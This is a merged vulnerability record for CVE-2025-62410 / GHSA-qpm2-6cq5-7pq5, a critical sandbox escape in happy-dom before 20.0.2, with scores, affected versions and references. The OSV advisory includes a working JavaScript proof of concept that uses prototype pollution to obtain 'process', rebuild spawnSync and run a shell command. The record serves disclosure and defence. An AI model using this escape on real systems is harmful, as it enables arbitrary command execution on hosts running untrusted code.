{"id":"CVE-2025-62410","aliases":["GHSA-qpm2-6cq5-7pq5"],"summary":"--disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom","published_at":"2025-10-15T17:16:21.561Z","modified_at":"2026-03-16T08:31:16Z","products":[],"rating":{"severity":"critical","score":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","attack_path":"internet_authenticated","user_interaction":true,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.003599999938160181,"percentile":0.30445000529289246,"date":"2026-11-19T00:00:00Z"},"priority":9.9,"details":"In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom. The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like \"process\" in the example below, or to hijack control flow via flipping checks of undefined property. This vulnerability is due to an incomplete fix for CVE-2025-61927. The vulnerability is fixed in 20.0.2.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"capricorn86/happy-dom","versions":["< 20.0.2"],"provider":"cvelistv5","source":"CVE-2025-62410","relation":"self"},{"ecosystem":"npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"19.0.0"},{"fixed":"20.0.2"}]}],"fixed":["20.0.2"],"provider":"osv","source":"GHSA-qpm2-6cq5-7pq5","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","cpe":"cpe:/a:redhat:openshift_devspaces:3","status":"not_affected","packages":["devspaces/traefik-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2025-62410"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2025-62410","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2025-62410","license":"CC-BY-4.0","published_at":"2025-10-15T17:16:21.561Z","modified_at":"2025-10-15T18:16:44.558Z","summary":"--disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom","details":"In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom. The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like \"process\" in the example below, or to hijack control flow via flipping checks of undefined property. This vulnerability is due to an incomplete fix for CVE-2025-61927. The vulnerability is fixed in 20.0.2.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"CVE-2025-62410"}],"affected":[{"ecosystem":"CVE","package":"capricorn86/happy-dom","versions":["< 20.0.2"],"provider":"cvelistv5","source":"CVE-2025-62410","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea"}]},{"provider":"osv","source_id":"GHSA-qpm2-6cq5-7pq5","relation":"self","url":"https://osv.dev/vulnerability/GHSA-qpm2-6cq5-7pq5","license":"CC-BY-4.0","published_at":"2025-10-15T20:29:04Z","modified_at":"2025-11-27T09:10:13.606901Z","summary":"happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript","details":"### Summary\nThe mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.\n\n### Details\nThe untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like \"process\" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).\n\n### PoC\nAttackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., \"process\". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().\n\n```js\nimport { Browser } from \"happy-dom\";\n\nconst browser = new Browser({settings: {enableJavaScriptEvaluation: true}});\nconst page = browser.newPage({console: true});\n\npage.url = 'https://example.com';\nlet payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'\npage.content = `<html>\n<script>\n    function f() { let process = this; ${payload}; spawnSync(\"touch\", [\"success.flag\"]); return \"success\";} \n    this.constructor.constructor.__proto__.__proto__.toString = f;\n    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;\n    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf\n    \n</script>\n<body>Hello world!</body></html>`;\n\nawait browser.close();\nconsole.log(`The process object is ${process}`);\nconsole.log(process.hasOwnProperty('spawn'));\n```\n\n### Impact\nArbitrary code execution via breaking out of the Node.js' vm isolation.\n\n### Recommended Immediate Actions\nUsers can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to [isolated-vm](https://github.com/laverdet/isolated-vm) is suggested instead.\n\nCris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"GHSA-qpm2-6cq5-7pq5"}],"affected":[{"ecosystem":"npm","package":"happy-dom","purl":"pkg:npm/happy-dom","ranges":[{"type":"SEMVER","events":[{"introduced":"19.0.0"},{"fixed":"20.0.2"}]}],"fixed":["20.0.2"],"provider":"osv","source":"GHSA-qpm2-6cq5-7pq5","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62410"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"}]},{"provider":"redhat-vex","source_id":"CVE-2025-62410","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2025-62410","license":"CC-BY-4.0","published_at":"2025-10-15T17:16:21.561Z","modified_at":"2026-03-16T08:31:16Z","summary":"happy-dom: --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript in happy-dom","details":"A sandbox escape in happy-dom allows untrusted JavaScript to run in the same V8 isolate and process as the host application. An attacker can use prototype pollution to overwrite built-in objects (for example Object.prototype) and thereby obtain privileged references such as process or require. This enables arbitrary command execution, information disclosure (access to in-process secrets and environment), and can also be used to cause denial of service (process crash or out-of-memory conditions) or exfiltrate data over the network.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L","source":"CVE-2025-62410"},{"type":"Red Hat","score":"Important","source":"CVE-2025-62410"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","cpe":"cpe:/a:redhat:openshift_devspaces:3","status":"not_affected","packages":["devspaces/traefik-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2025-62410"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-62410.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-62410"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2404254"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2025-62410"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62410"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5"}]}],"references":[{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/security/advisories/GHSA-qpm2-6cq5-7pq5"},{"type":"WEB","url":"https://github.com/capricorn86/happy-dom/commit/f4bd4ebe3fe5abd2be2bcea1c07043c8b0b70eea"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62410"},{"type":"PACKAGE","url":"https://github.com/capricorn86/happy-dom"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-62410.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-62410"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2404254"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2025-62410"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2025-62410","url":"https://www.cve.org/CVERecord?id=CVE-2025-62410","license":"CC-BY-4.0","modified_at":"2025-10-15T18:16:44.558Z","relation":"self"},{"provider":"osv","source_id":"GHSA-qpm2-6cq5-7pq5","url":"https://osv.dev/vulnerability/GHSA-qpm2-6cq5-7pq5","license":"CC-BY-4.0","modified_at":"2025-11-27T09:10:13.606901Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2025-62410","url":"https://access.redhat.com/security/cve/CVE-2025-62410","license":"CC-BY-4.0","modified_at":"2026-03-16T08:31:16Z","relation":"self"}]}
